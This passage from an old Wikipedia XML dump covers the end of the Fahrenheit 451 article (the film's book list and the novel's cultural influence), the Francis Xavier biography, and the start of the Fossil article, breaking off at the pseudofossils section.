*'''[[Captain Beatty]]''' is Montag's boss and the fire chief. Once an avid reader himself, he is disgusted with the idea of books and detests how they all contradict and refute each other. In a removed scene by Bradbury, he invited Guy to his house where he shows him walls of books which he leaves to moulder on their shelves. He tries to entice Guy back into the book-burning business, but is burnt alive by Montag when he underestimates Montag's resolve. He is the symbolic opposite of Granger.
*'''Granger''' is the leader of a group of wandering intellectual exiles, who memorize books so they will be saved. Where Beatty destroys, he creates; where Beatty uses fire for the purpose of burning, he uses it for the purpose of warming. His acceptance of Montag is considered the final step in Montag's metamorphosis, from embracing Granger's ultimate value (happiness and complacency), to embracing his value (love of knowledge).

=== List of Books/Authors in Fahrenheit 451 the movie === 

''Note:'' Neither Bradbury nor Truffaut chose the books that appeared in the film.

*''[[Alice's Adventures in Wonderland]]'' and ''[[Through the Looking Glass]]'' by [[Lewis Carroll]] 
*''[[Animal Farm]]'' by [[George Orwell]]
*[[Arthur Schopenhauer]]
*''[[David Copperfield]]'' by [[Charles Dickens]]  
*''[[Don Quixote]]'' by [[Miguel de Cervantes]]
*[[Friedrich Nietzsche]]
*''[[Gulliver's Travels]]'' by [[Jonathan Swift]]
*''[[Jane Eyre]]'' by [[Charlotte Brontë]]
*[[Leo Tolstoy]]
*''[[Lolita]]'' by [[Vladimir Nabokov]]
*''[[Madame Bovary]]'' by [[Gustave Flaubert]]
*''[[Mein Kampf]]'' by [[Adolf Hitler]]
*''[[Metaphysics]]'' by [[Aristotle]]
*''[[Moby Dick]]'' by [[Herman Melville]]
*''[[Nadia]]'' 
*''[[Othello]]'' by [[William Shakespeare]]
*''[[Pride and Prejudice]]'' by [[Jane Austen]]
*''[[Republic (dialogue)|Republic]]'' by [[Plato]]
*''[[Robinson Crusoe]]'' by [[Daniel Defoe]]
*''[[The Adventures of Tom Sawyer]]'' by [[Mark Twain]]
*''[[The Brothers Karamazov]]'' by [[Fyodor Dostoyevsky]]
*''[[The Catcher in the Rye]]'' by [[J. D. Salinger]]
*''[[The Corsair]]'' by [[George Byron]]
*''[[The Good Life]]''
*''[[The Martian Chronicles]]'' by [[Ray Bradbury]]
*''[[The Pickwick Papers]]'' by [[Charles Dickens]]
*''[[The Trial]]'' by [[Franz Kafka]]
*[[Walt Whitman]]
*[[William Faulkner]]
*''[[Wuthering Heights]]'' by [[Emily Brontë]]
*''[[Nineteen Eighty-Four]]'' by George Orwell
*''[[A History of Science &amp; Technology]]''
*''[[A Journal of the Plague Year]]'' by [[Daniel Defoe]]
*''[[A Year of Grace]]''
*''[[Argos]]''
*''[[Baby Doll]]''
*''[[Cahiers du Cinéma]]''
*[[Christopher Landon]]
*''[[Confessions of an Irish Rebel]]'' by [[Brendan Behan]]
*''[[Death of a Dream]]''
*''[[Death of a Ghost]]'' by Margaret Allingham
*''[[Death on Milestone Buttress]]'' by Glyn Carr
*''[[Decline and Fall]]'' by [[Evelyn Waugh]]
*''[[Deux Anglaises et le Continent]]''
*''[[Dom Juan]]'' by [[Molière]]
*''[[Fathers And Sons]]'' by [[Ivan Turgenev]]
*''[[Gargantua and Pantagruel]]'' by [[François Rabelais]]
*''[[Gasparo Hauser]]'' (This is the book Montag takes in the film, as opposed to the [[Bible]] in the novel)
*''[[Geheimnisse der Fürstin von Cadignan]]'' by [[Honoré de Balzac]]
*''[[Gone with the Wind]]''
*''[[Holy Deadlock]]'' by [[A. P. Herbert]]
*''[[In ze pocket]]'' by [[Walter Tevis|Walter S. Tevis]]
*''[[Inspector French and the Cheyne Mystery]]'' by [[Freeman Wills Crofts]]
*''[[Interglossa]]'' by [[Lancelot Hogben]]
*''[[Jazz]]''
*[[Jean Cocteau]]
*''[[Jeanne D'Arc]]'' by Joseph Delter
*''[[Journal of André Bulat]]''
*''[[Journey into Space]]'' by [[Charles Chilton]]
*''[[Justine]]'' by [[Marquis de Sade]]
*''[[La Peau de Chagrin]]'' by [[Honoré de Balzac]]
*''[[Le Avventure di Pinocchio]]'' by [[Carlo Collodi]]
*''[[Le Monde à Côté]]'' by [[Sibylle Gabrielle Marie Antoinette Riqueti de Mirabeau|Gyp]]
*''[[Les Nègres]]'' by [[Jean Genet]]
*''[[Lewis et Irène]]'' by [[Paul Morand]]
*''[[Look With Mother ABC Book]]''
*''[[Mad magazine]]''
*''[[Marcel Proust]]''
*''[[Marie Dubois]]'' by [[Jacques Audiberti]]
*''[[Memoirs of Saint Simon]]'' by [[Louis de Rouvroy]]
*''[[Metallurgy for Engineers]]''
*''[[My Autobiography]]'' by [[Charles Chaplin]]
*''[[My Life and Loves]]'' by [[Frank Harris]] 
*''[[My Life in Art]]'' by [[Constantin Stanislavski]]
*''[[Nest of Vipers]]'' by Tod Claymore
*''[[New Writing]]''
*''[[Ninety Years Wiser]]''
*''[[No Orchids for Miss Blandish]]'' by [[James Hadley Chase]]
*''[[Or Be the Deed]]''
*''[[Our Nuclear Future]]''
*''[[La peau de chagrin]]'' by Honoré de Balzac
*''[[Petrouchka]]'' by [[Igor Stravinsky]]
*''[[Plexus]]'' by [[Henry Miller]]
*''[[Raffles and Miss Blandish]]'' by [[George Orwell]]
*''[[Reappraisals of History]]''
*''[[Rebus]]'' by Paul Gegauff
*''[[Roberte ce soir]]'' by [[Pierre Klossowski]]
*''[[Sanctuary]]''
*''[[Sermons and Soda-Water]]'' by [[John O'Hara]]
*''[[She Might Have Been Queen]]'' by Geoffrey Bocca
*''[[Social Aspects of Disease]]'' by A. Leslie Banks  
*[[Spanish Crossword Puzzle Book]]
*''[[In Search of Lost Time|Swann's Way]]'' by [[Marcel Proust]]
*''[[Sweet Danger]]'' by Margaret Allingham
*''[[Tales of Mystery &amp; Imagination]]'' by [[Edgar Allen Poe]]
*''[[The Bodley Head]]''
*''[[The Castle on the Hill]]'' by [[Elizabeth Goudge]]
*''[[The Defeat of the Spanish Armada]]'' by [[Garrett Mattingly]]  
*''[[Nicomachean Ethics|The Ethics]]'' by [[Aristotle]]
*''[[The Evil of the Day]]'' by Thomas Sterling
*''[[The Ginger Man]]'' by [[J. P. Donleavy]]
*''[[The Good Soldier Schweik]]'' by [[Jaroslav Hašek]]
*''[[The Happy Prisoner]]'' by [[Monica Dickens]]
*''[[The History of Torture]]''
*''[[The House of the Arrow]]'' by [[A. E. W. Mason]]
*''[[The Jason Murders]]'' by John Newton Chance
*''[[The Jewish Question]]'' by [[Jean-Paul Sartre]]
*''[[The Moon &amp; Sixpence]]'' by [[W. Somerset Maugham]] 
*''[[The Mystery of Jack the Ripper]]'' by Leonard Matters
*''[[The Owls' House]]'' by Crosbie Garstin
*''[[The Picture of Dorian Gray]]'' by [[Oscar Wilde]]
*''[[The Pilgrim's Progress]]'' by [[John Bunyan]]
*''[[The Prince]]'' by [[Niccolò Machiavelli]]
*''[[The Sittaford Mystery]]''
*''[[The Thief's Journal]]'' by Jean Genet
*[[The Voyage of the Dawn Treader|''The Voyage of the'' Dawn Treader]] by [[C.S. Lewis]]
*''[[The Walrus and the Carpenter]]'' by [[Lewis Carroll]]
*''[[The Weather]]'' by George Kimble &amp; Raymond Bush
*''[[The White Friday Murders]]''
*''[[The White Priory Murders]]''
*''[[The World of Salvador Dali]]'' by Robert Descharnes
*''[[Their London Cousins]]'' by Lydia M. Middleton
*''[[Vanity Fair]]'' by [[William Makepeace Thackeray]]
*''[[Waiting for Godot]]'' by [[Samuel Beckett]]
*''[[Weir of Hermiston]]'' by [[Robert Louis Stevenson]]
*''[[We're Still Using That Greasy MAD Stuff]]'' (a MAD Magazine book)
*''[[Wreck of the Running Gate]]''
*''[[Zazie dans le Métro]]'' by Raymond Queneau

There are plans for a [[remake]] in [[2006]], directed by [[Frank Darabont]].

In addition to the movies, there have been at least two [[BBC Radio 4]] dramatisations, both of which follow the book very closely.

==Influence on popular culture==
The title of Bradbury's book has become a well-known byword amongst those who oppose [[censorship]], in much the way [[George Orwell]]'s ''[[Nineteen Eighty-Four|1984]]'' has (although not to the same extent). As such, it has been alluded to in dozens of later contexts, amongst them the [[American Civil Liberties Union|ACLU]]'s 1997 whitepaper ''Fahrenheit 451.2: Is Cyberspace Burning?'' and [[Michael Moore]]'s [[2004]] film ''[[Fahrenheit 9/11]]'' (Bradbury objected to its allusion of his work [http://www.sfgate.com/cgi-bin/article.cgi?f=/news/archive/2004/06/18/entertainment2219EDT0805.DTL]).

The movie ''[[Equilibrium (2002 movie)|Equilibrium]]'', starring [[Christian Bale]] and [[Sean Bean]], draws heavily from ''Fahrenheit 451'', as well as ''[[Nineteen Eighty-Four|1984]]'' and ''[[Brave New World]]''. The most notable is the overall plot; Both Montag and Equilibrium's main character, John Preston, are enforcers of the law in the near future where literature is a crime, start to experiance illegal emotions after they come into contact with females who have broken the law. They eventually both are hunted for treason.

The [[computer and video games|computer game]] ''[[StarCraft]]'' features a [[flamethrower]]-wielding character named &quot;Gui Montag&quot;.

In [[1984]] a ''Fahrenheit 451'' video game was made for the [[C64]] and the [[Apple II]] computers.

In the show ''The Famous Jett Jackson'', the episode &quot;Saving Mr. Dupree&quot; centered around the banning of the book.

The [[Looking Glass Studios]] computer game ''[[System Shock]]'' uses 451 as the first keypad code. The [[Irrational Games]]-developed sequel, ''[[System Shock 2]]'' uses 451 as part of a code twice, both times with numbers added to make the codes 5 digits. The [[Ion Storm|Ion Storm Dallas]] computer game ''[[Deus Ex]]'' uses 0451 as an early keycode, as &quot;an allusion to ''System Shock's'' allusion to ''Fahrenheit 451''&quot;. Looking Glass Studios also used 451 for the security keypad to their main offices [http://www.deusex-machina.com/articles/makingofdeusex.asp].

The [[Origin Systems]] computer game [[Crusader (computer game)|''Crusader: No Regret'']] uses 451 as a keypad code for a safe. A nearby terminal gives a clue: &quot;the temperature at which paper burns&quot;.

Artist [[Micah Wright]] used the theme 'Hand all books to your local fireman for safe disposal' overlayed on a 1940s fireman propaganda poster.

The website www.enclothe.com sells a t-shirt titled &quot;451&quot; that portrays two &quot;firemen.&quot;

==Accuracy as a vision of the future==
Several aspects of the fictional future depicted in the novel have become reality in the late 20th and early 21st century:

*There are now live television broadcasts of police pursuits of fugitives, aided by helicopter-mounted cameras and supplemented by voice-over commentary by announcers.
*&quot;Seashell radios&quot; closely resemble portable [[radio]]s and [[headphone|earbud]]s, such as those found in portable audio players.
*Some television content has become more empty (see [[reality television]]).
*Books considered to be objectionable, such as those from the [[Harry Potter]] series and other books related to witchcraft, have been burned in the [[United States]].
*Anti-depressant pills have become much more common and commercialized.
*[[Abortion]] and [[caesarian section]] are widely used for non-medical or non-lifesaving reasons.
*There is a greater reliance on anonymous tips by law enforcement agencies (portrayed in the movie version).
*Political candidacy is determined in part by media corporations through manipulating presentations and report schemes (see [[spin (public relations)]]).
*Some enforced conformity to dress codes in public (usually enforced in benign ways, but occasionally intrusive or humiliating incidents occur).
*America being hated and verbally attacked by other nations perhaps, as Montag suggests, because it is viewed as possessing a disproportionate share of the world's wealth.

But the following phenomena have not yet occurred (and Bradbury argues that the purpose of his fiction is to keep such things from happening):

*Routine use of robots for pursuing suspects (currently in development for military application; civilian law enforcement would be expected to follow suit).
*Government endorsement of high-speed land vehicles on public highways.
*Flat-screen televisions built into the walls of a house (these exist, but are currently a luxury; most are either placed on a special stand or are mounted onto the surface of existing walls).
*Use of nuclear weaponry as a primary weapon in wartime.

==ISBNs==
* ISBN 0606006281 ([[prebound]], 1953)
* ISBN 0871293102 ([[paperback]], [[1986]])
* ISBN 0345342968 ([[mass market paperback]], [[1987]])
* ISBN 089968484X ([[library binding]], [[1990]], reprint)
* ISBN 067187229X ([[hardcover]], [[1993]])
* ISBN 1560549599 ([[audio cassette]] with hardcover, [[1995]], [[unabridged]])
* ISBN 0345410017 ([[paperback]], [[1996]])
* ISBN 0783883137 (library binding, [[1997]], Large Type Edition)
* ISBN 8401422825 (hardcover, [[1998]])
* ISBN 0395878063 (hardcover, [[1998]], McDougall Littell textbook)
* ISBN 156137301X (hardcover, [[1999]])
* ISBN 1561373028 (hardcover, 1999)
* ISBN 0791059294 (hardcover, [[2001]])
* ISBN 0758776160 (hardcover, [[2002]])
* ISBN 0743247221 (hardcover, [[2003]])
* ISBN 0848801474 (hardcover)
* ISBN 8401422345 (hardcover)
* ISBN 3257208626 (paperback)
* ISBN 7246250102 (paperback)

==See also== 
*[[Nevil Shute]]: ''[[On The Beach]]''
*[[Cinema of France]]
*[[List of French language films]]
*[[List of banned books]]

==External links==
{{wikiquote}}
*[http://www.randomhouse.com/highschool/catalog/display.pperl?isbn=9780345342966&amp;view=tg Teacher's Guide] at Random House
*[http://wikibooks.org/wiki/User:Perl/Fahrenheit_451 Wikibooks Fahrenheit 451 project]
*{{imdb title|id=0060390|title=Fahrenheit 451}}
*[http://www.sparknotes.com/lit/451/ SparkNotes Study Guide]
*[http://www.slashdoc.com/tag/fahrenheit_451.html Slashdoc : ''Fahrenheit 451''] Literary analysis of the novel

[[Category:1953 books]]
[[Category:1966 films]]
[[Category:Dystopian films]]
[[Category:Dystopian novels]]
[[Category:Science fiction films]]
[[Category:British films]]
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  <page>
    <title>First Gulf War</title>
    <id>10956</id>
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      <id>15908746</id>
      <timestamp>2004-01-30T15:48:17Z</timestamp>
      <contributor>
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      </contributor>
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      <text xml:space="preserve">#REDIRECT [[Gulf War]]</text>
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  </page>
  <page>
    <title>Francis Xavier</title>
    <id>10957</id>
    <revision>
      <id>41831879</id>
      <timestamp>2006-03-02T00:59:06Z</timestamp>
      <contributor>
        <username>Fuhghettaboutit</username>
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      <comment>Revert edits by vandal 220.245.179.134 to last by TKE</comment>
      <text xml:space="preserve">:''Not to be confused with St. [[Francis Borgia]], another Spanish nobleman turned Jesuit.''
[[Image:StFrancisXavier.jpg|thumb|250px|Memorial to St. [[Francis Xavier]], [[Hirado]], [[Nagasaki]], [[Japan]].]]
[[Saint]] '''[[Francis]] Xavier''' ([[Spanish language|Spanish]]: San Francisco Javier ; [[Chinese language|Chinese]]: 聖方濟各&amp;#27801;&amp;#21247;&amp;#30053;) ([[April 7]], [[1506]] - [[December 2]], [[1552]]) was a pioneering [[Christianity|Christian]] [[missionary]] and co-founder of the [[Society of Jesus]] (Jesuit Order).  The [[Xaverian Brothers]] are named after him, just as a Dutch student fraternity [[KSV St. Franciscus Xaverius]] in [[Wageningen]].  The [[Roman Catholic Church]] considers him to have converted more people to Christianity than anyone else since [[Paul of Tarsus|St. Paul]].

==Early life==

Xavier was born '''Francisco de Jaso y Azpilcueta''' in the Castle of Xavier (modern [[Spanish language|Spanish]] ''Javier'', [[Basque language|Basque]] ''Xabier'', [[Catalan language|Catalan]] ''Xavier'') near [[Sangüesa]] and [[Pamplona]], in [[Navarre]], [[Spain]]. He sprang from an aristocratic [[Basque people|Basque]] family of Navarre. In 1512, [[Castile]] invaded Navarre. Many fortresses were devastated, including the family castle, and land was confiscated. Francis' father died in 1515.

At the age of 19, Francis Xavier went to study at the [[University of Paris]], where he received a ''[[licence ès arts]]'' in 1530. He furthered his studies there in [[theology]], and became acquainted with [[Ignatius Loyola]]. Along with Ignatius, [[Pierre Favre]] and four others, Xavier was one of those who on [[August 15]], [[1534]] bound themselves by a vow at [[Montmartre]] and formed the [[Society of Jesus]].

==Missionary work==
[[Image:Xavier f map of voyages asia.PNG|thumb|250px|Voyages of St. Francis Xavier]]
Francis Xavier devoted much of his life to missions to remote countries. As [[King John III of Portugal]] desired Jesuit missionaries for the Portuguese [[East Indies]], he was ordered there in 1540. He left [[Lisbon]] on [[April 7]], [[1541]], together with two other Jesuits and the new [[viceroy]] [[Martin de Sousa]], on board the ''Santiago''. From August of that year until March 1542, he remained in [[Mozambique]], and reached [[Old Goa|Goa]], [[India]], the capital of the then [[Portugal|Portuguese]] [[colonies]], on [[May 6]]. His official role in Goa was [[Apostolic Nuncio]]. He spent the following three years operating out of Goa.


On [[September 20]], 1542, he left for his first missionary activity among the [[Paravas]], pearl-fishers along the east coast of southern India, north of [[Cape Comorin]]. He then exerted himself to convert the king of [[Travancore]] to Christianity, on the west coast, and also visited [[Ceylon]]. Dissatisfied with the results of his activity, he turned eastward in 1545, and planned a missionary journey to [[Macassar]], on the island of [[Celebes]], in today's [[Indonesia]].

After arriving in [[Malacca]] in October of that year and waiting there three months in vain for a ship to Macassar, he gave up the goal of his voyage. He left Malacca on [[January 1]], [[1546]] and landed on [[Ambon Island|Amboyna]], where he stayed until mid-June. He then visited other [[Molucca Islands]], including [[Ternate]] and [[More]]. Shortly after Easter 1546, he returned to Ambon Island, and then Malacca. During this time period, frustrated by the elites in Goa, St. Francis wrote to [[King D. João III]] for an [[Inquisition]] to be installed in Goa. However [[Goa Inquisition|this Inquisition]] did not begin till eight years after his death.Established in 1560, it was aimed primarily at Hindus and wayward new converts and by the time it was suppressed in 1774, the inquisition had had thousands of people executed and tortured.

In December 1547, in Malacca, Francis Xavier met a [[Japan]]ese nobleman from [[Kagoshima]] called Anjiro. Anjiro had heard from Francis in 1545 and had travelled from Kagoshima to Malacca with the purpose of meeting him. Having been charged with murder, Anjiro had fled Japan. He poured his heart out to Francis Xavier, telling him about his former life and the customs and culture of his beloved homeland.  Anjiro was a [[samurai]] and as such provided Xavier with a skilled mediator and translator for the mission to Japan that was his inevitable future.  “I asked [Anjiro] whether the Japanese would become Christians if I went with him to this country, and he replied that they would not do so immediately, but would first ask me many questions and see what I knew.  Above all, they would want to see whether my life corresponded with my teaching…All the Portuguese merchants who have  come from Japan assure me that by going there I could render God our Lord much service, and more than among the peoples of India, because the Japanese are a race greatly given to the exercise of [[reason]].”  Thus intrigued, Xavier baptized Anjiro—who was now called Paulo de Santa Fe—and began to plan for a mission to this recently discovered land. Anjiro helped Francis Xavier to translate a few paragraphs of Christian [[doctrine]] into phonetic Japanese which Xavier learned by heart.

He returned to India in January 1548. The next 15 months were occupied with various journeys and administrative measures in  India. 

Then due to displeasure at the unchristian life and manners of the Portuguese, which impeded proselyting work, he went forth once again into the unknown Far East. He left Goa on [[April 15]], [[1549]], stopped at Malacca, and visited [[Guangzhou|Canton]]. He was accompanied by Anjiro, two other Japanese men, the father Cosme de Torrès and Brother Juan Fernandez. He had taken with him presents for the &quot;King of Japan&quot;, since he was intending to introduce himself as the Apostolic Nuncio.

Xavier reached Japan on [[July 27]], 1549, but it was not until August 15 that he went ashore at Kagoshima, the principal port of the province of [[Satsuma Province|Satsuma]], on the island of [[Kyushu]]. He was received in a friendly manner and was hosted by Anjiro's family until October 1550. From October to December 1550, he resided in [[Yamaguchi, Yamaguchi|Yamaguchi]]. Shortly before Christmas, he left for [[Kyoto]], but failed to meet with the Emperor. He returned to Yamaguchi in March 1551. There he was permitted to preach by the [[daimyo]], but not knowing the [[Japanese language]] he had to limit himself to reading aloud the translation of a [[catechism]].

Ultimately his sojourn was fruitful, as attested by congregations established in [[Hirado]], Yamaguchi, and [[Bungo]]. Xavier worked for more than two years in Japan and saw his successor-Jesuits established. He then decided to return to India. During his trip, a tempest forced him to stop on an island near [[Guangzhou]], [[China]]. There he saw the rich merchant [[Diégo Pereira]], an old friend from [[Kochi, India|Cochin]], who showed him a letter of Portuguese being held prisoners in Guangzhou asking for a Portuguese ambassador to talk to the Chinese Emperor in their favor. Later, he stopped at Malacca on [[December 27]], 1551 and was back in Goa by January, 1552.

On [[April 17]] he set sail, with Diégo Pereira, leaving Goa on board the ''Santa Cruz''  for China. He introduced himself as Apostolic Nuncio, and Pereira as ambassador of the King of Portugal. Shortly thereafter, he realized that he had forgotten his testimonial letters as an Apostolic Nuncio. Back in Malacca, he was confronted by the ''capitan'' [[Alvaro de Ataide de Gama]], who now had total control over the harbor. The ''capitan'' refused to recognize his title of Nuncio, asked Pereira to resign from his title of ambassador, named a new crew for the ship, and demanded that the gifts for the Emperor be left in Malacca.

In early September 1552, the ''Santa Cruz'' reached the Chinese island of [[Shangchuan]], 14 km away from the southern coast of mainland China, near [[Taishan]], [[Guangdong]], 200 km south-west of what later became [[Hong Kong]]. At this time, he was only accompanied by a Jesuit student, [[Alvaro Ferreira]], a Chinese man called Antonio, and a [[Malabar]] servant called Christopher. Around mid-November he sent a letter saying that a man had agreed to take him to the mainland in exchange for a large sum of money. Having sent back Alvaro Ferreira, he remained alone with Antonio.

==Death==
[[Image:Casket of Saint Francis Xavier.jpg|thumb|200px|right|Casket of Saint Francis Xavier in the Basilica of Bom Jésus in Goa]]
On [[November 21]], he fainted after celebrating [[Mass (liturgy)|Mass]]. He died on the island on [[December 2]], [[1552]], at age 46, without having reached mainland China.

He was first buried on a beach of Shangchuan island. His intact body was taken from the island in February 1553. It was temporarily buried in St. Paul's church in [[Malacca]] on [[March 22]], 1553. An open grave in the church now marks the place of Xavier's burial. Pereira came back from Goa, removed the corpse shortly after April 15, 1553, and moved it to his house.

On [[December 11]], 1553, Xavier's body was shipped to Goa. The body, having resisted extensive decay, is now in the [http://www.dommartin.cc/Basilica%20ptgs/Basilica%20ptgs%20index.htm Basilica of Bom Jésus]  in Goa, where it was placed into a silver casket on December 2, 1637. The silver casket is lowered for public viewing only during the [http://www.dommartin.cc/Exposition/Exposition.html public exposition] which occurs for a duration of 6 weeks every 10 years, the most recent of which took place in 2004. There is a debate as to how the body could have remained incorrupt for so long. Some say that Francis Xavier was [[mummified]], while others argue that the incorruptible body is evidence of a [[miracle]].

==Legacy==

St.Francis Xavier accomplished a great deal of missionary work, both as organizer and as pioneer. By his compromises in India with the [[Christians of St. Thomas]] he developed the Jesuit missionary methods along lines that subsequently became fateful for his order.

He had high qualifications as missionary: he was animated with glowing zeal; he was endowed with great linguistic gifts, and his activity was marked by restless pushing forward. His efforts left a significant impression upon the missionary history of India, and by pointing out the way to [[East India]] to the Jesuits, his work is of fundamental significance with regard to the history of the propagation of Christianity in China and Japan.

He himself witnessed many of the results of his labor, but still greater were the tasks he proposed. Since the Roman Catholic Church responded to his call, the effects of his efforts reach far beyond the Jesuit order; the entire systematic and aggressive incorporation of great masses of people on broad lines of policy by the Roman Catholic Church in modern times dates back to Xavier.

==Recognition==

===Beatification===

Francis Xavier is a Catholic [[saint]]. He was beatified by [[Paul V]] on [[October 25]], [[1619]], and was [[canonized]] by [[Gregory XV]] on [[March 12]], [[1622]], at the same time as [[Ignatius Loyola]]. He is the [[patron saint]] of [[Navarre]], [[Australia]], [[Borneo]], [[China]], [[East Indies]], [[Goa]],  [[Japan]], [[New Zealand]] and of missionaries. His [[feast day]] is [[December 3]].

===Educational institutions===

Educational institutions named after Francis Xavier include:
* In the [[Philippines]], there is a [[Xavier School]], an elite private institution offering primary and secondary educational services and [[Xavier University - Ateneo de Cagayan]], a comprehensive university in Cagayan de Oro City.
* [[St. Xavier's College, Bombay]], one of the best colleges in [[India]]
* St. Xavier's College, [[Palayamkottai]], in the Tirunelveli city of South [[India]]
* [[St. Francis Xavier University]] in [[Antigonish, Nova Scotia]]. It is traditionally one of the highest rated primarily undergraduate universities in Canada, as defined by MacLean's Magazine in their annual ranking of Canadian universities.
* Three American universities: [[Xavier University (Cincinnati)|Xavier University]] in Cincinnati, [[Xavier University of Louisiana]] in New Orleans, and [[Saint Xavier University]] in Chicago
* [[Xavier College]] in [[Melbourne]], Australia
* [[St. Xavier High School]], located in Cincinnati, Ohio, was founded in 1831
* [[Universidad Javeriana]], located in Bogotá, Colombia.
* Xavier High School located in New York City, New York, United States
* Xavier High School located in Appleton, Wisconsin, United States

===Others===

The Japanese university [[Sophia University]] was initiated in his honour in [[Tokyo]] 1913.

In 1839, [[Theodore James Ryken]] founded the [[Xaverian Brothers]], or Congregation of St. Francis Xavier (CFX).  Currently, over 20 [[college]]s or [[high school]]s in the [[United States]] are [[Xaverian Brothers]] Sponsored [[Schools]] (XBSS).

Many churches all over the world have been named in honor of Xavier. One notable church is the [[Basilica of St. Francis Xavier]] in [[Dyersville, Iowa]].  It is one of only 52 minor [[basilica]]s in the [[United States]], and the only one outside a metropolitan area.

The [[Javierada]] is an annual peregrination from Pamplona to Xavier instituted in the 1940s.

Xavier is one of the few English [[List of people by name: X|names starting with X]].

The [[X-Men]] comic book character, [[Professor X|Charles Francis Xavier]] is possibly named after him.

The station [[Saint François Xavier (Paris Metro)|Saint François Xavier]], on Line 13 of the [[Paris Métro]] is named after St

==See also==
*[[Jesuit China missions]]
*[[Catholicism in China]]
*[[List of people on stamps of Ireland]]

==External links and references==
* This article incorporates material from the ''Schaff-Herzog Encyclopedia of Religion''
* [http://www.newadvent.org/cathen/06233b.htm Catholic Encyclopedia, 1909 on St. Francis Xavier]
* http://www.jesuites.com/xavier/index.html (in French)
* [http://www.goacom.com/culture/religion/sfx/francis.html The feast of St Francis Xavier in Goa]
* [http://www.geocities.com/francischinchoy/sfx/sfxarticle01.html St Francis Xavier and Malacca]
* [http://www.jesuites.com/xavier/images/sancian_maxi.jpg Picture of Shangchuan island. The chapel marks the location of his death]
* [http://www.tsinfo.com.cn/UploadFiles/2005/02/22/022211304125023.jpg Another picture of the church on Shangchuan island]
* Old map of Shangchuan island: [http://www.portsmouthbookshop.com/MapPage/MapPages542xx/54282maca.htm]
* [http://www.apol.net/dightonrock/inquisition_goa.htm Inquisition Goa]
* [http://members.tripod.com/~jcolaco/sfx.html St. Francisco Xavier]
* [http://www.navarra.es/home_es/Redireccion/La+Huella+Universal+de+Francisco+de+Javier.htm La huella universal de Francisco de Javier (Spanish)]

[[Category:1506 births|Francis Xavier]]
[[Category:1552 deaths|Francis Xavier]]
[[Category:Jesuits|Xavier, Francis]]
[[Category:Saints]]
[[Category:Christianity in Japan]]
[[Category:Foreigners in Japan]]
[[Category:History of Catholicism in Asia]]
[[Category:Roman Catholic missionaries|Xavier, Francis]]
[[Category:Diplomats of the Holy See|Xavier, Francis]]
[[Category:Kanyakumari]]

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  <page>
    <title>Fossil</title>
    <id>10958</id>
    <revision>
      <id>41525519</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.244.45.65|69.244.45.65]] ([[User talk:69.244.45.65|talk]]) to last version by RexNL</comment>
      <text xml:space="preserve">:''For other uses of the term, see [[Fossil (disambiguation)]]''

[[Image:Igammonite.jpg|thumb|250px|A fossil [[Ammonite]]]]
'''Fossils''' (from [[Latin]] ''fossus'', literally &quot;having been dug up&quot;) are the [[mineral]]ized or otherwise preserved remains or traces (such as footprints) of animals, plants, and other organisms. The totality of fossils and their placement in '''fossiliferous''' (fossil-containing) [[Rock (geology)|rock]] formations and sedimentary layers ([[Stratum|strata]]) is known as the [[fossil record]]. The study of fossils is called [[paleontology]]. Because fossils are by their nature old, the word has also entered the modern vernacular as a derogatory term for an elderly person.

[[Image:Knightia.jpg|left|thumb|250px|Fossil fish of the genus ''[[Knightia]]'']]

Fossilization is actually a rare occurrence because natural materials tend to decompose. In order for an organism to be fossilized, the remains normally need to be covered by [[sediment]] as soon as possible. However there are exceptions to this, such as if an organism becomes [[petrifaction|petrified]] or comes to rest in an anoxic environment such as at the bottom of a lake. There are several different types of fossils and fossilization processes.

Fossils usually consist of traces of the remains of the organism itself. However, fossils may also consist of the marks left behind by the organism while it was alive, such as the footprint or feces of a [[dinosaur]] or [[reptile]]. These types of fossil are called [[trace fossil]]s, as opposed to body fossils. Finally, past life leaves some evidences that cannot be seen but can be detected in the form of chemical signals; these are known as ''chemical fossils'' (for lack of a better term).

[[Image:Fossil.JPG|thumb|250px|''[[Tentaculite|Tentaculites]]'' found in a State Park in Albany, New York.  The enigmatic organisms that grew these shells are estimated to have lived over 360 million years ago.]]

The oldest known structured fossils are most likely [[stromatolites]]. Now understood to be formed by the entrapment of minerals by mucous-like sheets of [[cyanobacteria]], the oldest of these formations dates from 3.5 billion years ago. Even older deposits (3.8 billion years old) of heavy [[carbon]] that are indicative of even earlier life are currently proposed as the remains of the earliest known life on [[Earth]].

==Permineralization==
[[Image:Trilobite2.jpg|thumb|250px|A permineralized [[trilobite]], ''[[Asaphus kowalewskii]]'']] 
[[Image:Charnia wardi.jpg|thumb|right|250px|570-575 million-year old specimen of ''Charnia wardi'' from Newfoundland; the oldest large, architecturally complex fossils known anywhere]]
Permineralization consists of organic remains being to some degree impregnated by minerals derived from the surrounding sediments or waters. For permineralization to occur, the organism must become covered by sediment soon after death or soon after the initial decaying process. The degree to which the remains are decayed when covered determines the later details of the fossil. Some fossils consist only of skeletal remains or teeth; other fossils contain traces of [[skin]], [[feather]]s or even soft tissues. Once covered with sediment, these layers slowly become compacted and cemented into rock, and the organic remains are slowly replaced with hard minerals. 

==Replacement and compression fossils==
In some cases the original remains of the organism have been completely dissolved or otherwise destroyed. When all that is left is an organism-shaped hole in the rock, we call this a ''mould fossil'' or typolite. If this hole is later filled with other minerals, it is called a ''cast fossil'' and is considered a replacement fossil since the original materials have been completely replaced by new, unrelated ones. In some cases replacement occurs so gradually and at such fine scales that no &quot;hole&quot; in the rock can ever be discerned and microstructural features are preserved despite the total loss of original material.

''Compression fossils'' such as those of fossil ferns are the result of chemical reduction of the complex organic molecules composing the organism's tissues. In this case the fossil consists of original material, albeit in a geochemically altered state.

To sum up, fossilization processes proceed differently for different kinds of tissues and under different kinds of conditions.  

==Trace fossils==
[[Trace fossil]]s are the remains of trackways, burrows, footprints, [[Egg (biology)|egg]]s and eggshells, nests, droppings and other types of impressions. Fossilized droppings, called [[coprolite]]s, can give insight into the feeding behavior of animals and can therefore be of great importance.

==Resin fossils==

Smaller animals, such as [[insect]]s, [[spider]]s and small [[lizard]]s, can be trapped in resin ([[amber]]), which is secreted from trees. These fossils can be found in sandstones or mudstones or washed up on beaches like those around the [[Baltic Sea]].

==Pseudofossils==
[[Image:Fossile_J_3.jpg|thumb|Example of a [[pseudofossil]]: this dendrite looks much like a plant]]

